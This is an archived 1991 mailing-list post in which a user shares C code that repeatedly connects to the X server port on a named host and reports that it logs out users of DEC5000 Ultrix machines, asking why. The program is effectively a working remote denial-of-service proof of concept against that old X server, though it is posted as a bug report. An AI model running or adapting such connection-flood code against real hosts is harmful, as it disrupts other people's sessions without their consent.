Log Out Program

Aliasghar Babadi abmg at cathedral.cerc.wvu.wvnet.edu
Wed Jun 5 00:44:33 AEST 1991


Hi,

	I don't know what the problem is with the following code
but it can logout any user of DEC5000 macines running X server. I will 
appreciate if someone can tell me what the problem is. Thanks in advance.


/*
 *  The following program is to create connections  to X server running on
 *  a given machine
 *  ATTENTION: this will log you out if the machine is Dec5000 running
 *  Ultrix
 */


/*
 *    includes 
 */

#include <stdio.h>
#include <sys/types.h>	   
#include <sys/uio.h>	   
#include <sys/socket.h>	   
#include <sys/ioctl.h>	   
#include <sys/param.h>   
#include <netinet/in.h>	 
#include <netdb.h>	 
#include <errno.h>       


/* 
 *    defines 
 */


/*
 *    externs 
 */

extern int errno;


/*
 *    file scope globals 
 */

static int  on = 1 /* used in ioctl */ ;

/********************************************************************/
/*   connect to a server */

int ConnectToServer(port, server_name)
     int port;
     char server_name[];
{
  int serverfd;
  struct sockaddr_in  sin;
  struct hostent *hp;
  char server[MAXHOSTNAMELEN];
  


  strcpy(server,  server_name);

/* 
 *   get a socket   
 */

  bzero((char *)&sin, sizeof(sin)); 
  serverfd = socket(AF_INET, SOCK_STREAM, 0);
  if (serverfd < 0){
      perror("ConnectToServer: socket failed");

    }
  if( setsockopt(serverfd, SOL_SOCKET, SO_REUSEADDR,  (char *) NULL, 0) < 0){
      perror( "setsockopt failed");

  }
  if( setsockopt(serverfd, SOL_SOCKET, SO_USELOOPBACK,(char *) NULL, 0) < 0){
      perror( "setsockopt failed");

  }

#ifdef SO_DONTLINGER
  if( setsockopt(serverfd, SOL_SOCKET, SO_DONTLINGER, (char *) NULL, 0) < 0){
      perror( "setsockopt failed");

  }
#endif

/* 
 *   determine the host machine for this process 
 *   if server name is null use the current host name
 */

  if (server[0] == '\0'){
    if(gethostname(server, MAXHOSTNAMELEN) < 0 ){
	perror( "gethostname failed");
	return(-1);
    }
  }



  hp = gethostbyname(server);
  if (hp == 0){
      perror("gethostbyname failed");
      return (-1);
  }

  sin.sin_family = AF_INET;
  bcopy((char *)hp->h_addr, (char *)&sin.sin_addr, hp->h_length);

  sin.sin_port = htons (port);


/* 
 *   try to connect to Server 
 */

  if (connect(serverfd, (struct sockaddr *)&sin, sizeof(sin)) < 0){

      switch (errno){

	case ECONNREFUSED:

	    /* 
             * may be there is  no Server to connect to 
             */

	    close(serverfd);
	    perror("Can't open connection to Server");
	    return(-1);

	default:
	    close(serverfd);
	    perror("Can't open connection to Server");
	    return(-1);
	}
    }


  return(serverfd);

}

/******************************************************************/
/*
 *  main routine to test connections to server
 */

main(argc, argv)
int argc;
char **argv;
{
int i;
int fd;
int port = 6000; /* for X server */

char server_name[MAXHOSTNAMELEN]; 

int n = 1;                 /* default is one connection */
strcpy(server_name, "");   /* default name */

if( argc !=3 ){
   printf("Usage: server name ntimes\n");
   exit(0);
 }

  strcpy( server_name, argv[1]); /* internet address(name) of the machine
				    on which X server is running   */

  n = atoi(argv[2]); /* number of connections */

/*
 * try to connect to the server more than once
 */

   for (i =0; i < n; i++){
       fd = ConnectToServer(port, server_name);
       printf("---- Connected to %s with  fd=%d ----\n",server_name, fd);
       close(fd);
   }
}
 

/*  end */



More information about the Comp.unix.misc mailing list